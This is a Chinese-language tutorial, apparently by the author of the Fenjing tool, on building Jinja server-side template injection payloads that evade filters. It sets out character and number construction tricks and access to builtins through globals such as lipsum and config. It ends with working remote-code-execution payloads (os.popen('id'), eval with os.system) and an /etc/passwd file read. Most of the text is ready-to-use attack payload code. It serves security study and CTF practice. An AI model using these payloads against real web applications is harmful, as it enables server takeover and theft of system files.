Fenjing 作者的 Jinja SSTI 完全进阶教程
字数 1140 2025-08-29 08:29:36
Jinja SSTI 完全进阶教程
目录
- 整体 payload 构造思路
- 常用技巧
- 任意自然数构造
- 字符串处理技巧
- 特殊字符生成
- 任意字符串构造
- 简单手法
- 复杂手法
- 属性与字典访问
- 全局函数利用
- 最终 payload 构造
1. 整体 payload 构造思路
传统 Jinja SSTI 利用方式存在以下问题:
- 依赖
__subclasses__方法,需要从长列表中寻找特定类 - 构造过程冗长复杂,如
[].__class__.__mro__[1].__subclasses__()[513].__init__.__globals__['__builtins__']['eval'](...)
更优的构造思路:
- 优先使用全局变量(如
lipsum)直接获取关键函数 - 构造流程:
- 先构造特殊字符("_", "%c"等)
- 构造任意数字/字符串
- 获取全局变量属性
- 调用 eval 等函数实现 RCE
2. 常用技巧
2.1 任意自然数构造
十六进制/二进制/八进制
0x61 # 97
0b1000001 # 65
0o173 # 123
length 和 count filter
()|length # 0
()|int|e|length # 1
(()|int~()|int)|length # 2
dict(iiiiiiiiii=i)|first|count # 10
int filter
"123"|int # 123
sum filter
(1,1,1,1,1)|sum # 5
加减乘除
1+1+1+1+1 # 5
True+True+True # 3
Unicode 数字字符
int('႖႖႖႖႖႖') # 666
2.2 字符串处理技巧
获取字符串/列表的第i个字符/元素
"abcdef"|batch(2)|first|last # 获取第2个字符'b'
字符串拼接
"a"~"b" # "ab"
字符串重复
"a"*5 # "aaaaa"
特殊字符生成
"%c"%(97) # "a"
"%s%%s" # "%s%s"
2.3 常用 filter
capitalize,lower,upperescape/e,forceescapepprint,safe,stringtrim,uniqueurlencode
3. 任意字符串构造
3.1 简单手法
使用 %c
"%c"%(97)~"%c"%(98) # "ab"
使用 __add__
"a".__add__("b") # "ab"
使用 join
["a","b"]|join # "ab"
使用 replace
"axb"|replace("x","") # "ab"
3.2 复杂手法
使用 lipsum.__globals__.concat
lipsum.__globals__.concat("a","b") # "ab"
使用 dict 构造
dict(a="a",b="b")|join # "ab"
4. 属性与字典访问
获取属性
lipsum.__globals__
config.__class__
字典访问
dict(a=1)|attr("a") # 1
dict(a=1)["a"] # 1
使用 map filter
["a","b"]|map("upper")|list # ["A","B"]
5. 全局函数利用
使用 lipsum 获取关键函数
lipsum.__globals__.__builtins__.eval('114+514')
lipsum.__globals__.__builtins__.__import__('os').popen('ls /').read()
lipsum.__globals__.os.popen('id').read()
替代全局变量
当 lipsum 被禁用时,可以使用:
cyclergselfrequestconfig
6. 最终 payload 构造
6.1 直接 RCE
lipsum.__globals__.__builtins__.eval('__import__("os").system("id")')
6.2 通过 os 模块
lipsum.__globals__.os.popen('id').read()
6.3 文件读取
lipsum.__globals__.open('/etc/passwd').read()
6.4 替代方案
当关键函数被过滤时:
config.__class__.__init__.__globals__.__builtins__.eval('__import__("os").system("id")')
总结
- 优先使用全局变量而非
__subclasses__方法 - 构造流程遵循:特殊字符 → 数字/字符串 → 属性访问 → 函数调用
- 灵活运用各种 filter 和字符串操作技巧绕过限制
- 掌握多种数字和字符串构造方法以应对不同过滤场景
通过系统性地掌握这些技巧,可以高效地构造出简洁有效的 Jinja SSTI payload。